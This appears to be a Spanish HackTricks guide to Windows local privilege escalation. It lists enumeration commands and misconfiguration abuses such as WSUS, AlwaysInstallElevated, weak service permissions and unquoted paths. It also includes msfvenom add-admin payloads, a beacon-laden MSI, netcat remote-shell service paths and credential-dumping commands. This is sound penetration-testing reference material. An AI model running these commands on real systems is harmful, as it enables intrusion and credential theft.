Windows Local Privilege Escalation

Apoya a HackTricks

Mejor herramienta para buscar vectores de escalación de privilegios locales en Windows: WinPEAS

Teoría Inicial de Windows

Tokens de Acceso

Si no sabes qué son los Tokens de Acceso de Windows, lee la siguiente página antes de continuar:

Access Tokens

ACLs - DACLs/SACLs/ACEs

Consulta la siguiente página para más información sobre ACLs - DACLs/SACLs/ACEs:

ACLs - DACLs/SACLs/ACEs

Niveles de Integridad

Si no sabes qué son los niveles de integridad en Windows, deberías leer la siguiente página antes de continuar:

Integrity Levels

Controles de Seguridad de Windows

Hay diferentes cosas en Windows que podrían impedirte enumerar el sistema, ejecutar ejecutables o incluso detectar tus actividades. Deberías leer la siguiente página y enumerar todos estos mecanismos de defensa antes de comenzar la enumeración de escalación de privilegios:

Windows Security Controls

Información del Sistema

Enumeración de información de versión

Verifica si la versión de Windows tiene alguna vulnerabilidad conocida (verifica también los parches aplicados).

systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architecture
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches

Version Exploits

Este sitio es útil para buscar información detallada sobre vulnerabilidades de seguridad de Microsoft. Esta base de datos tiene más de 4,700 vulnerabilidades de seguridad, mostrando la superficie de ataque masiva que presenta un entorno de Windows.

En el sistema

  • post/windows/gather/enum_patches

  • post/multi/recon/local_exploit_suggester

  • winpeas (Winpeas tiene watson integrado)

Localmente con información del sistema

Repositorios de Github de exploits:

Environment

¿Alguna credencial/información jugosa guardada en las variables de entorno?

set
dir env:
Get-ChildItem Env: | ft Key,Value -AutoSize

Historial de PowerShell

ConsoleHost_history #Find the PATH where is saved

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw

Archivos de transcripción de PowerShell

Puedes aprender cómo activar esto en https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/

#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts

#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript

PowerShell Module Logging

Los detalles de las ejecuciones de la tubería de PowerShell se registran, abarcando comandos ejecutados, invocaciones de comandos y partes de scripts. Sin embargo, los detalles completos de la ejecución y los resultados de salida pueden no ser capturados.

Para habilitar esto, sigue las instrucciones en la sección "Archivos de transcripción" de la documentación, eligiendo "Module Logging" en lugar de "Powershell Transcription".

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging

Para ver los últimos 15 eventos de los registros de PowersShell, puedes ejecutar:

Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView

PowerShell Script Block Logging

Se captura un registro completo de la actividad y el contenido total de la ejecución del script, asegurando que cada bloque de código esté documentado a medida que se ejecuta. Este proceso preserva un rastro de auditoría integral de cada actividad, valioso para la forensía y el análisis de comportamientos maliciosos. Al documentar toda la actividad en el momento de la ejecución, se proporcionan información detallada sobre el proceso.

reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging

Los eventos de registro para el Script Block se pueden encontrar en el Visor de Eventos de Windows en la ruta: Application and Services Logs > Microsoft > Windows > PowerShell > Operational. Para ver los últimos 20 eventos, puedes usar:

Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview

Configuración de Internet

reg query "HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
reg query "HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings"

Unidades

wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root

WSUS

Puedes comprometer el sistema si las actualizaciones no se solicitan usando httpS sino http.

Comienzas verificando si la red utiliza una actualización WSUS no SSL ejecutando lo siguiente:

reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Si recibes una respuesta como:

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate
WUServer    REG_SZ    http://xxxx-updxx.corp.internal.com:8535

Y si HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer es igual a 1.

Entonces, es explotable. Si el último registro es igual a 0, entonces, la entrada de WSUS será ignorada.

Para explotar estas vulnerabilidades, puedes usar herramientas como: Wsuxploit, pyWSUS - Estos son scripts de exploits armados MiTM para inyectar actualizaciones 'falsas' en el tráfico WSUS no SSL.

Lee la investigación aquí:

WSUS CVE-2020-1013

Lee el informe completo aquí. Básicamente, esta es la falla que explota este bug:

Si tenemos el poder de modificar nuestro proxy de usuario local, y Windows Updates utiliza el proxy configurado en la configuración de Internet Explorer, por lo tanto, tenemos el poder de ejecutar PyWSUS localmente para interceptar nuestro propio tráfico y ejecutar código como un usuario elevado en nuestro activo.

Además, dado que el servicio WSUS utiliza la configuración del usuario actual, también usará su almacén de certificados. Si generamos un certificado autofirmado para el nombre de host de WSUS y agregamos este certificado al almacén de certificados del usuario actual, podremos interceptar tanto el tráfico WSUS HTTP como HTTPS. WSUS no utiliza mecanismos similares a HSTS para implementar una validación de tipo confianza en el primer uso en el certificado. Si el certificado presentado es confiable para el usuario y tiene el nombre de host correcto, será aceptado por el servicio.

Puedes explotar esta vulnerabilidad usando la herramienta WSUSpicious (una vez que esté liberada).

KrbRelayUp

Una vulnerabilidad de escalación de privilegios local existe en entornos de dominio de Windows bajo condiciones específicas. Estas condiciones incluyen entornos donde la firma LDAP no se aplica, los usuarios poseen derechos propios que les permiten configurar Delegación Constrainida Basada en Recursos (RBCD), y la capacidad de los usuarios para crear computadoras dentro del dominio. Es importante notar que estos requisitos se cumplen utilizando configuraciones predeterminadas.

Encuentra el exploit en https://github.com/Dec0ne/KrbRelayUp

Para más información sobre el flujo del ataque, consulta https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/

AlwaysInstallElevated

Si estos 2 registros están habilitados (el valor es 0x1), entonces los usuarios de cualquier privilegio pueden instalar (ejecutar) archivos *.msi como NT AUTHORITY\SYSTEM.

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

Cargas útiles de Metasploit

msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted

Si tienes una sesión de meterpreter, puedes automatizar esta técnica utilizando el módulo exploit/windows/local/always_install_elevated

PowerUP

Usa el comando Write-UserAddMSI de power-up para crear dentro del directorio actual un binario MSI de Windows para escalar privilegios. Este script genera un instalador MSI precompilado que solicita la adición de un usuario/grupo (por lo que necesitarás acceso GUI):

Write-UserAddMSI

Solo ejecuta el binario creado para escalar privilegios.

MSI Wrapper

Lee este tutorial para aprender a crear un envoltorio MSI usando estas herramientas. Ten en cuenta que puedes envolver un ".bat" si solo quieres ejecutar líneas de comando.

MSI Wrapper

Crear MSI con WIX

Create MSI with WIX

Crear MSI con Visual Studio

  • Genera con Cobalt Strike o Metasploit un nuevo payload TCP EXE de Windows en C:\privesc\beacon.exe

  • Abre Visual Studio, selecciona Crear un nuevo proyecto y escribe "installer" en el cuadro de búsqueda. Selecciona el proyecto Setup Wizard y haz clic en Siguiente.

  • Dale un nombre al proyecto, como AlwaysPrivesc, usa C:\privesc para la ubicación, selecciona colocar solución y proyecto en el mismo directorio, y haz clic en Crear.

  • Sigue haciendo clic en Siguiente hasta que llegues al paso 3 de 4 (elegir archivos para incluir). Haz clic en Agregar y selecciona el payload Beacon que acabas de generar. Luego haz clic en Finalizar.

  • Resalta el proyecto AlwaysPrivesc en el Explorador de Soluciones y en las Propiedades, cambia TargetPlatform de x86 a x64.

  • Hay otras propiedades que puedes cambiar, como el Autor y el Fabricante, que pueden hacer que la aplicación instalada parezca más legítima.

  • Haz clic derecho en el proyecto y selecciona Ver > Acciones Personalizadas.

  • Haz clic derecho en Instalar y selecciona Agregar Acción Personalizada.

  • Haz doble clic en Carpeta de Aplicación, selecciona tu archivo beacon.exe y haz clic en Aceptar. Esto asegurará que el payload beacon se ejecute tan pronto como se ejecute el instalador.

  • En las Propiedades de Acción Personalizada, cambia Run64Bit a True.

  • Finalmente, compílalo.

  • Si aparece la advertencia File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86', asegúrate de establecer la plataforma en x64.

Instalación de MSI

Para ejecutar la instalación del archivo .msi malicioso en segundo plano:

msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi

Para explotar esta vulnerabilidad puedes usar: exploit/windows/local/always_install_elevated

Antivirus y Detectores

Configuraciones de Auditoría

Estas configuraciones deciden qué se está registrando, así que debes prestar atención.

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit

WEF

Windows Event Forwarding, es interesante saber a dónde se envían los registros.

reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\SubscriptionManager

LAPS

LAPS está diseñado para la gestión de contraseñas de Administrador local, asegurando que cada contraseña sea única, aleatoria y actualizada regularmente en computadoras unidas a un dominio. Estas contraseñas se almacenan de forma segura en Active Directory y solo pueden ser accedidas por usuarios que han recibido permisos suficientes a través de ACLs, permitiéndoles ver las contraseñas de administrador local si están autorizados.

LAPS

WDigest

Si está activo, las contraseñas en texto plano se almacenan en LSASS (Servicio de Subsistema de Autoridad de Seguridad Local). Más información sobre WDigest en esta página.

reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential

Protección LSA

A partir de Windows 8.1, Microsoft introdujo una protección mejorada para la Autoridad de Seguridad Local (LSA) para bloquear intentos de procesos no confiables de leer su memoria o inyectar código, asegurando aún más el sistema. Más información sobre la Protección LSA aquí.

reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL

Credentials Guard

Credential Guard se introdujo en Windows 10. Su propósito es proteger las credenciales almacenadas en un dispositivo contra amenazas como ataques de pass-the-hash.| Más información sobre Credentials Guard aquí.

reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags

Credenciales en caché

Las credenciales de dominio son autenticadas por la Autoridad de Seguridad Local (LSA) y utilizadas por los componentes del sistema operativo. Cuando los datos de inicio de sesión de un usuario son autenticados por un paquete de seguridad registrado, las credenciales de dominio para el usuario se establecen típicamente. Más información sobre Credenciales en caché aquí.

reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT

Usuarios y Grupos

Enumerar Usuarios y Grupos

Deberías verificar si alguno de los grupos a los que perteneces tiene permisos interesantes.

# CMD
net users %username% #Me
net users #All local users
net localgroup #Groups
net localgroup Administrators #Who is inside Administrators group
whoami /all #Check the privileges

# PS
Get-WmiObject -Class Win32_UserAccount
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
Get-LocalGroupMember Administrators | ft Name, PrincipalSource

Grupos privilegiados

Si perteneces a algún grupo privilegiado, es posible que puedas escalar privilegios. Aprende sobre grupos privilegiados y cómo abusar de ellos para escalar privilegios aquí:

Privileged Groups

Manipulación de tokens

Aprende más sobre qué es un token en esta página: Tokens de Windows. Consulta la siguiente página para aprender sobre tokens interesantes y cómo abusar de ellos:

Abusing Tokens

Usuarios registrados / Sesiones

qwinsta
klist sessions

Carpetas de inicio

dir C:\Users
Get-ChildItem C:\Users

Política de Contraseñas

net accounts

Obtener el contenido del portapapeles

powershell -command "Get-Clipboard"

Procesos en Ejecución

Permisos de Archivos y Carpetas

Primero que nada, listar los procesos verifica si hay contraseñas dentro de la línea de comando del proceso. Verifica si puedes sobrescribir algún binario en ejecución o si tienes permisos de escritura en la carpeta del binario para explotar posibles ataques de DLL Hijacking:

Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes

#With allowed Usernames
Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize

#Without usernames
Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id

Siempre verifica si hay posibles depuradores de electron/cef/chromium en ejecución, podrías abusar de ellos para escalar privilegios.

Verificando los permisos de los binarios de los procesos

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
icacls "%%z"
2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo.
)
)

Verificando los permisos de las carpetas de los binarios de los procesos (DLL Hijacking)

for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
icacls "%%~dpy\" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users
todos %username%" && echo.
)

Minería de contraseñas en memoria

Puedes crear un volcado de memoria de un proceso en ejecución utilizando procdump de sysinternals. Servicios como FTP tienen las credenciales en texto claro en memoria, intenta volcar la memoria y leer las credenciales.

procdump.exe -accepteula -ma <proc_name_tasklist>

Aplicaciones GUI inseguras

Las aplicaciones que se ejecutan como SYSTEM pueden permitir a un usuario abrir un CMD o navegar por directorios.

Ejemplo: "Ayuda y soporte de Windows" (Windows + F1), buscar "símbolo del sistema", hacer clic en "Haga clic para abrir el símbolo del sistema"

Servicios

Obtenga una lista de servicios:

net start
wmic service list brief
sc query
Get-Service

Permisos

Puedes usar sc para obtener información de un servicio

sc qc <service_name>

Se recomienda tener el binario accesschk de Sysinternals para verificar el nivel de privilegio requerido para cada servicio.

accesschk.exe -ucqv <Service_Name> #Check rights for different groups

Se recomienda verificar si "Usuarios autenticados" pueden modificar algún servicio:

accesschk.exe -uwcqv "Authenticated Users" * /accepteula
accesschk.exe -uwcqv %USERNAME% * /accepteula
accesschk.exe -uwcqv "BUILTIN\Users" * /accepteula 2>nul
accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version

Puedes descargar accesschk.exe para XP aquí

Habilitar servicio

Si tienes este error (por ejemplo con SSDPSRV):

Error del sistema 1058 ha ocurrido. El servicio no puede ser iniciado, ya sea porque está deshabilitado o porque no tiene dispositivos habilitados asociados con él.

Puedes habilitarlo usando

sc config SSDPSRV start= demand
sc config SSDPSRV obj= ".\LocalSystem" password= ""

Tenga en cuenta que el servicio upnphost depende de SSDPSRV para funcionar (para XP SP1)

Otra solución alternativa a este problema es ejecutar:

sc.exe config usosvc start= auto

Modificar la ruta del binario del servicio

En el escenario donde el grupo de "Usuarios autenticados" posee SERVICE_ALL_ACCESS en un servicio, es posible modificar el binario ejecutable del servicio. Para modificar y ejecutar sc:

sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
sc config <Service_Name> binpath= "net localgroup administrators username /add"
sc config <Service_Name> binpath= "cmd \c C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"

sc config SSDPSRV binpath= "C:\Documents and Settings\PEPE\meter443.exe"

Reiniciar servicio

wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]

Los privilegios pueden ser escalados a través de varios permisos:

  • SERVICE_CHANGE_CONFIG: Permite la reconfiguración del binario del servicio.

  • WRITE_DAC: Habilita la reconfiguración de permisos, lo que lleva a la capacidad de cambiar configuraciones de servicio.

  • WRITE_OWNER: Permite la adquisición de propiedad y la reconfiguración de permisos.

  • GENERIC_WRITE: Hereda la capacidad de cambiar configuraciones de servicio.

  • GENERIC_ALL: También hereda la capacidad de cambiar configuraciones de servicio.

Para la detección y explotación de esta vulnerabilidad, se puede utilizar el exploit/windows/local/service_permissions.

Permisos débiles de los binarios de servicios

Verifica si puedes modificar el binario que es ejecutado por un servicio o si tienes permisos de escritura en la carpeta donde se encuentra el binario (DLL Hijacking). Puedes obtener cada binario que es ejecutado por un servicio usando wmic (no en system32) y verificar tus permisos usando icacls:

for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt

for /f eol^=^"^ delims^=^" %a in (%temp%\perm.txt) do cmd.exe /c icacls "%a" 2>nul | findstr "(M) (F) :\"

También puedes usar sc e icacls:

sc query state= all | findstr "SERVICE_NAME:" >> C:\Temp\Servicenames.txt
FOR /F "tokens=2 delims= " %i in (C:\Temp\Servicenames.txt) DO @echo %i >> C:\Temp\services.txt
FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> C:\Temp\path.txt

Modificar permisos del registro de servicios

Deberías verificar si puedes modificar algún registro de servicio. Puedes verificar tus permisos sobre un registro de servicio haciendo:

reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services

#Try to write every service with its current content (to check if you have write permissions)
for /f %a in ('reg query hklm\system\currentcontrolset\services') do del %temp%\reg.hiv 2>nul & reg save %a %temp%\reg.hiv 2>nul && reg restore %a %temp%\reg.hiv 2>nul && echo You can modify %a

get-acl HKLM:\System\CurrentControlSet\services\* | Format-List * | findstr /i "<Username> Users Path Everyone"

Se debe verificar si Authenticated Users o NT AUTHORITY\INTERACTIVE poseen permisos de FullControl. Si es así, el binario ejecutado por el servicio puede ser alterado.

Para cambiar la ruta del binario ejecutado:

reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t REG_EXPAND_SZ /d C:\path\new\binary /f

Permisos AppendData/AddSubdirectory del registro de servicios

Si tienes este permiso sobre un registro, esto significa que puedes crear subregistros a partir de este. En el caso de los servicios de Windows, esto es suficiente para ejecutar código arbitrario:

AppendData/AddSubdirectory permission over service registry

Rutas de servicio no entrecomilladas

Si la ruta a un ejecutable no está entre comillas, Windows intentará ejecutar cada final antes de un espacio.

Por ejemplo, para la ruta C:\Program Files\Some Folder\Service.exe, Windows intentará ejecutar:

C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Folder\Service.exe

Lista todos los caminos de servicio no entrecomillados, excluyendo aquellos que pertenecen a servicios integrados de Windows:

wmic service get name,displayname,pathname,startmode |findstr /i "Auto" | findstr /i /v "C:\Windows\\" |findstr /i /v """
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v """ #Not only auto services

#Other way
for /f "tokens=2" %%n in ('sc query state^= all^| findstr SERVICE_NAME') do (
for /f "delims=: tokens=1*" %%r in ('sc qc "%%~n" ^| findstr BINARY_PATH_NAME ^| findstr /i /v /l /c:"c:\windows\system32" ^| findstr /v /c:""""') do (
echo %%~s | findstr /r /c:"[a-Z][ ][a-Z]" >nul 2>&1 && (echo %%n && echo %%~s && icacls %%s | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%") && echo.
)
)
gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name

Puedes detectar y explotar esta vulnerabilidad con metasploit: exploit/windows/local/trusted\_service\_path Puedes crear manualmente un binario de servicio con metasploit:

msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f exe-service -o service.exe

Acciones de Recuperación

Windows permite a los usuarios especificar acciones a tomar si un servicio falla. Esta función se puede configurar para apuntar a un binario. Si este binario es reemplazable, podría ser posible la escalada de privilegios. Más detalles se pueden encontrar en la documentación oficial.

Aplicaciones

Aplicaciones Instaladas

Verifique los permisos de los binarios (quizás pueda sobrescribir uno y escalar privilegios) y de las carpetas (DLL Hijacking).

dir /a "C:\Program Files"
dir /a "C:\Program Files (x86)"
reg query HKEY_LOCAL_MACHINE\SOFTWARE

Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name

Permisos de Escritura

Verifica si puedes modificar algún archivo de configuración para leer algún archivo especial o si puedes modificar algún binario que va a ser ejecutado por una cuenta de Administrador (schedtasks).

Una forma de encontrar permisos débiles en carpetas/archivos en el sistema es haciendo:

accesschk.exe /accepteula
# Find all weak folder permissions per drive.
accesschk.exe -uwdqs Users c:\
accesschk.exe -uwdqs "Authenticated Users" c:\
accesschk.exe -uwdqs "Everyone" c:\
# Find all weak file permissions per drive.
accesschk.exe -uwqs Users c:\*.*
accesschk.exe -uwqs "Authenticated Users" c:\*.*
accesschk.exe -uwdqs "Everyone" c:\*.*
icacls "C:\Program Files\*" 2>nul | findstr "(F) (M) :\" | findstr ":\ everyone authenticated users todos %username%"
icacls ":\Program Files (x86)\*" 2>nul | findstr "(F) (M) C:\" | findstr ":\ everyone authenticated users todos %username%"
Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'Everyone'} } catch {}}

Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Acl $_ -EA SilentlyContinue | Where {($_.Access|select -ExpandProperty IdentityReference) -match 'BUILTIN\Users'} } catch {}}

Ejecutar al inicio

Verifica si puedes sobrescribir algún registro o binario que va a ser ejecutado por un usuario diferente. Lee la siguiente página para aprender más sobre ubicaciones de autorun interesantes para escalar privilegios:

Privilege Escalation with Autoruns

Controladores

Busca posibles controladores raros/vulnerables de terceros.

driverquery
driverquery.exe /fo table
driverquery /SI

PATH DLL Hijacking

Si tienes permisos de escritura dentro de una carpeta presente en PATH podrías ser capaz de secuestrar un DLL cargado por un proceso y escalar privilegios.

Verifica los permisos de todas las carpetas dentro de PATH:

for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F) (M) (W) :\" | findstr /i ":\\ everyone authenticated users todos %username%" && echo. )

Para más información sobre cómo abusar de esta verificación:

Writable Sys Path +Dll Hijacking Privesc

Red

Recursos compartidos

net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

hosts file

Verifique si hay otras computadoras conocidas codificadas en el archivo hosts.

type C:\Windows\System32\drivers\etc\hosts

Interfaces de Red y DNS

ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Puertos Abiertos

Verifique los servicios restringidos desde el exterior

netstat -ano #Opened ports?

Tabla de Enrutamiento

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabla ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Reglas del Firewall

Consulta esta página para comandos relacionados con el Firewall (listar reglas, crear reglas, desactivar, desactivar...)

Más comandos para enumeración de red aquí

Subsistema de Windows para Linux (wsl)